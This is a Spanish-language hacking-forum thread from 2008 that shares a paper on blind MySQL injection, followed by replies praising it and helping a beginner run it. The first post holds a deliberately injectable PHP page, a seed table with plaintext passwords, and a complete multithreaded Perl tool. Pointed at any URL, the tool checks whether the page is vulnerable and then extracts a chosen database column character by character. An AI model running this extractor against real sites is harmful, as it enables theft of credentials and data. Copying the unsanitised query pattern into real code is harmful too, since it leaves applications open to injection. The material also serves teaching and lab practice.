elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Blind MySql Injection by Ka0x
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Blind MySql Injection by Ka0x  (Leído 11,679 veces)
Hendrix
In The Kernel Land
Colaborador
***
Desconectado Desconectado

Mensajes: 2.276



Ver Perfil WWW
Blind MySql Injection by Ka0x
« en: 26 Abril 2008, 16:46 pm »

Aqui dejo este papper que me paso ka0x para ser publicado aqui, esta bastante interesante

http://www.milw0rm.com/papers/197

Un Saludo

Editado:

Aqui dejo los codigos, para que no se tengan que copiar del PDF:

Codigo php:

Código
  1. <?php
  2.  
  3. # ---- CONFIG -----
  4. $host = 'localhost';
  5. $dbuser = 'root';
  6. $dbpass = 'password';
  7. $dbname = 'blind';
  8. # -----------------
  9.  
  10. echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>";
  11.  
  12. $db = mysql_connect($host, $dbuser, $dbpass);
  13. mysql_select_db($dbname,$db);
  14.  
  15.  
  16. $sql = "SELECT * FROM users WHERE id=".$_GET['id'];
  17. $query = mysql_query($sql);
  18.  
  19. if(@mysql_num_rows($query)==0){
  20. die('No hay columnas');
  21. }
  22.  
  23. $result=@mysql_fetch_row($query);
  24. echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><br>";
  25. echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
  26. echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
  27. // echo "Passwd: ".$result[2]."<br>";
  28. echo "</h2></center>";
  29.  
  30. die();
  31.  
  32. ?>

Código SQL:

Código
  1. -- Table: users
  2. -- by ka0x - D.O.M
  3. -- Blind SQL Injection Paper
  4.  
  5. CREATE TABLE `users` (
  6.  `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  7.  `name` VARCHAR(50) NOT NULL,
  8.  `password` VARCHAR(50) NOT NULL,
  9.  PRIMARY KEY  (`id`)
  10. ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
  11.  
  12. -- users --
  13. INSERT INTO `users` VALUES (1, 'administrator', '1234%&_');
  14. INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd');
  15. INSERT INTO `users` VALUES (3, 'bush', 'terrorist');
  16. -- eof --

Código Perl:

Código
  1. #!/usr/bin/perl -W
  2.  
  3. # Blind MySQL Injection Paper
  4. # example brute force
  5.  
  6. # -- OPTIONS --
  7. my $MAX_FIELD_LENGTH = 200 ;
  8. my $EXIT_IF_NO_CHAR = 1 ;
  9. my $DEFAULT_THREADS = 15 ;
  10. my $DEFAULT_THREADS_TIMEOUT = 30 ;
  11. my @ascii = ( 33 .. 123 ) ;
  12. my $DEFAULT_THREADS_TIME = 1 ;
  13. # ---
  14.  
  15. use LWP::UserAgent ;
  16.  
  17. sub _HELP_AND_EXIT
  18. {
  19. die "
  20.  
  21.  ./$0  -u <url>  -tn <table>  -cn <column>  -p <pattern>
  22.  
  23. Options:
  24.  -u    <url>               Ex: http://www.google.es/vuln.php?id=1
  25.  -tn   <table_name>        Table name.
  26.  -cn   <column_name>       Column name.
  27.  -p    <pattern>           HTML pattern.
  28.  
  29. Other:
  30.  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  31.  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  32.  -T    <#>                 Timeout.
  33.  -h                        Help (also with --help).
  34. " ;
  35. }
  36.  
  37.  
  38. my ($p, $w) = ({ @ARGV }, { }) ;
  39.  
  40. map {
  41. &_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
  42. } keys %$p ;
  43.  
  44. map {
  45. die "[!] Require: $_\n" unless $p->{ $_ } ;
  46. } qw/-u -tn -cn -p/ ;
  47.  
  48. $p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w->{'-t'} = $DEFAULT_THREADS ) ;
  49. $p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w->{'-l'} = $MAX_FIELD_LENGTH ) ;
  50. $p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w->{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;
  51.  
  52. map {
  53. warn "[i] Getting default: $_ $w->{ $_ }\n" ;
  54. } sort keys %$w ;
  55.  
  56. ( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't vulnerable ?\n" ;
  57.  
  58.  
  59.  
  60.  
  61. sub _START_WORK
  62. {
  63. my $p = shift ;
  64.  
  65. ($p->{'id_value'}) = ( $p->{'-u'} =~ /(\d+)$/ ) ; # Get the id value
  66.  
  67. my $position = 1 ;
  68.  
  69. pipe(R, W) ;
  70. pipe(Rs, Ws) ;
  71. autoflush STDOUT 1 ;
  72.  
  73. my $sql_message = '' ;
  74. my $msg = '' ;
  75. my @pid ;
  76.  
  77. while( $position <= $p->{'-l'} )
  78. {
  79. my $cf ;
  80. unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
  81. push(@pid, $cf) ;
  82.  
  83. my $count = 0 ;
  84. my $can_exit ;
  85. my $char_printed ;
  86.  
  87. while(<R>)
  88. {
  89. push(@pid, (split(/:/))[1] ) if /^pid/ ;
  90.  
  91. my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
  92. $count++ if $pos == $position ;
  93.  
  94. print "\b" x length($msg), ($msg = "$position $ascii " . chr($ascii) ) ;
  95.  
  96. if( $res eq 'yes' and $pos == $position ){
  97. $char_printed = $can_exit = 1 ;
  98. print Ws "STOP $position\n" ;
  99. $sql_message .= chr( $ascii ) ;
  100. }
  101.  
  102. last if ( $can_exit or $count == @ascii );
  103. }
  104.  
  105. map { waitpid($_, 0) } @pid ;
  106.  
  107. unless( $char_printed )
  108. {
  109. if( $EXIT_IF_NO_CHAR )
  110. {
  111. warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid character, position $position.\n"  ;
  112. last ;
  113. }
  114. }
  115.  
  116. $position++ ;
  117. }
  118.  
  119. print "[i] SQL_FIELD:\n$sql_message\n" ;
  120.  
  121. }
  122.  
  123. sub _CHECKING
  124. {
  125. my ($p, $position) = @_ ;
  126. my $counter = 0 ;
  127. my $stop_position ;
  128.  
  129. foreach my $ascii ( @ascii )
  130. {
  131. $counter++ ;
  132.  
  133. if( $counter % $p->{'-t'} == 0 )
  134. {
  135. my $stop_position ;
  136. {
  137. $SIG{'ALRM'} = sub { die "non_stop\n" } ;
  138. alarm $DEFAULT_THREADS_TIME ;
  139. my $line = <Rs> ;
  140. $stop_position = (split( / /, $line))[1] ;
  141. alarm 0 ;
  142. } ;
  143.  
  144. if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
  145. }
  146.  
  147. unless(my $pid = fork )
  148. {
  149. print Ws "pid:$pid\n" or die ;
  150.  
  151.  
  152. my $url = $p->{'-u'} .
  153. ' AND ascii(substring((SELECT ' . $p->{'-cn'} .
  154. ' FROM ' . $p->{'-tn'} . ' where id=' .
  155. $p->{'id_value'} . '),' . $position . ',1))='. $ascii ;
  156.  
  157. my $ua = LWP::UserAgent->new ;
  158. $ua->timeout( $p->{'-T'} ) ;
  159.  
  160. my $content ;
  161. while( 1 )
  162. {
  163. last if $content = $ua->get( $url )->content ;
  164. }
  165.  
  166. ( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;
  167.  
  168. exit( 0 ) ;
  169. }
  170.  
  171. }
  172. }
  173.  
  174.  
  175.  
  176. sub _IS_VULN
  177. {
  178. my $p = shift ;
  179.  
  180. my $ua = LWP::UserAgent->new ;
  181. $ua->timeout( $p->{'-T'} ) ;
  182.  
  183. my ( $one, $two ) = (
  184. $ua->get( $p->{'-u'}." AND 1=1")->content ,
  185. $ua->get( $p->{'-u'}." AND 1=2")->content ,
  186. ) ;
  187.  
  188. return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
  189. }

« Última modificación: 26 Abril 2008, 16:50 pm por Hendriҳ » En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
Securitykill

Desconectado Desconectado

Mensajes: 15


Ver Perfil
Re: Blind MySql Injection by Ka0x
« Respuesta #1 en: 26 Abril 2008, 17:12 pm »

Precisamente ayer lei el paper y .. Esta muy bueno  :D

Saludos  :)
En línea

pedrox@

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Re: Blind MySql Injection by Ka0x
« Respuesta #2 en: 26 Abril 2008, 21:46 pm »

w0w!  :o
Lo leí y esta perfecto ademas metieron códigos de ejemplo  :D
Asi si que se entiende 100%

Saludos.
En línea

Dynamique


Desconectado Desconectado

Mensajes: 401



Ver Perfil
Re: Blind MySql Injection by Ka0x
« Respuesta #3 en: 27 Abril 2008, 01:55 am »

Muy bonito   :laugh:

Y fácil de entender , haber si postean más así  ^^
En línea

Código
  1. <?php echo "Hello, I am Dynamique"; ?>
GiRLaZo

Desconectado Desconectado

Mensajes: 28


Llamarme GiR


Ver Perfil
Re: Blind MySql Injection by Ka0x
« Respuesta #4 en: 27 Abril 2008, 22:06 pm »

Saludos.

Tengo un problema y es que cuando he subido la base de datos... y esta todo echo pero cuando lo cargo... es decir cuando abro el archivo php... me dice "No hay columnas".
La verdad, no se donde esta el fallo, he echo bien lo del config, he subido el SQL posteado a mi base de datos y nada, me da ese error...

Atte: GiR
En línea

No abras los labios si no estás seguro de que lo que vas a decir es más hermoso que el silencio.
pedrox@

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Re: Blind MySql Injection by Ka0x
« Respuesta #5 en: 27 Abril 2008, 22:36 pm »

Saludos.

Tengo un problema y es que cuando he subido la base de datos... y esta todo echo pero cuando lo cargo... es decir cuando abro el archivo php... me dice "No hay columnas".
La verdad, no se donde esta el fallo, he echo bien lo del config, he subido el SQL posteado a mi base de datos y nada, me da ese error...

Atte: GiR

hombre lógico, si entras http://localhost/vulnerable.php no seleccionas ningun registro de la base de datos y el script muere diciendo que "No hay columnas":

Código
  1. if(@mysql_num_rows($query)==0){
  2. die('No hay columnas');
  3. }

pero si haces: http://localhost/vulnerable.php?id=1
Pues ya te saldra el usuario "administrator".

Saludos.
« Última modificación: 27 Abril 2008, 22:40 pm por z1rr0s1s » En línea

GiRLaZo

Desconectado Desconectado

Mensajes: 28


Llamarme GiR


Ver Perfil
Re: Blind MySql Injection by Ka0x
« Respuesta #6 en: 28 Abril 2008, 20:26 pm »

Saludos

Gracias, no me habia dado cuenta del enorme fallo pero ahora mi duda es que ejecuto el archivo perl... con cmd.exe

guardo el archivo como blind.pl voy a abrirlo con el CMD.exe y me abre un bloc de notas con el codigo =(  ?? como hago para que se ejecute devidamente?

Atte:GiR
En línea

No abras los labios si no estás seguro de que lo que vas a decir es más hermoso que el silencio.
Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: Blind MySql Injection by Ka0x
« Respuesta #7 en: 28 Abril 2008, 20:45 pm »

lee los post pegados uqe para algo estan, busca de como abrir exploits y eso, tienes que intstalar perl y con cmd invocar a este con el nombre de archivo que quieres que interprete ;)



sobre el tuto lo estoy leyendo, me estoy metiendo un poco en ese rollo, por cierto el amigo R41N-W4R3 me pasu un excelente manual, espero que lo pueda compartir con ustedes tambien :D
« Última modificación: 28 Abril 2008, 22:01 pm por Azielito » En línea

GiRLaZo

Desconectado Desconectado

Mensajes: 28


Llamarme GiR


Ver Perfil
Re: Blind MySql Injection by Ka0x
« Respuesta #8 en: 28 Abril 2008, 21:12 pm »

Saludos

Gracias por vuestra paciencia por un newbie tan grande como yo ^^ espero que algun futuro os pueda ayudar en lo que sea...

Atte: GiR

PD: perdonar mi ignorancia
En línea

No abras los labios si no estás seguro de que lo que vas a decir es más hermoso que el silencio.
pedrox@

Desconectado Desconectado

Mensajes: 48


Ver Perfil
Re: Blind MySql Injection by Ka0x
« Respuesta #9 en: 28 Abril 2008, 21:48 pm »

Saludos

Gracias, no me habia dado cuenta del enorme fallo pero ahora mi duda es que ejecuto el archivo perl... con cmd.exe

guardo el archivo como blind.pl voy a abrirlo con el CMD.exe y me abre un bloc de notas con el codigo =(  ?? como hago para que se ejecute devidamente?

Atte:GiR

Yo el script lo probe en WINDOWS y no rula, al parecer esta hecho para LINUX.
Pruebalo en Linux, guardas el código como blind.pl, vas a la terminal, vas al directorio donde hayas dejado el script y lo ejecutas:

# perl blind.pl <argumentos del script>

ó

# ./blind.pl <argumentos del script>

Saludos.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problas con blind injection
Nivel Web
G0kuu_G0kuu 0 1,756 Último mensaje 15 Julio 2011, 10:22 am
por G0kuu_G0kuu
Algun informacion sobre blind injection del tipo varchar
Nivel Web
kyr4-X-Force 3 3,647 Último mensaje 6 Junio 2012, 09:46 am
por WarGhost
Confusión con blind SQL injection
Seguridad
Schaiden 3 3,335 Último mensaje 27 Septiembre 2017, 06:13 am
por BloodSharp
Dudas en Blind SQL injection
Bugs y Exploits
onirico 1 2,107 Último mensaje 24 Agosto 2018, 04:49 am
por onirico
PREGUNTA - SQL BLIND INJECTION
Hacking
tobiasasa 4 3,284 Último mensaje 11 Abril 2020, 23:42 pm
por tobiasasa
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines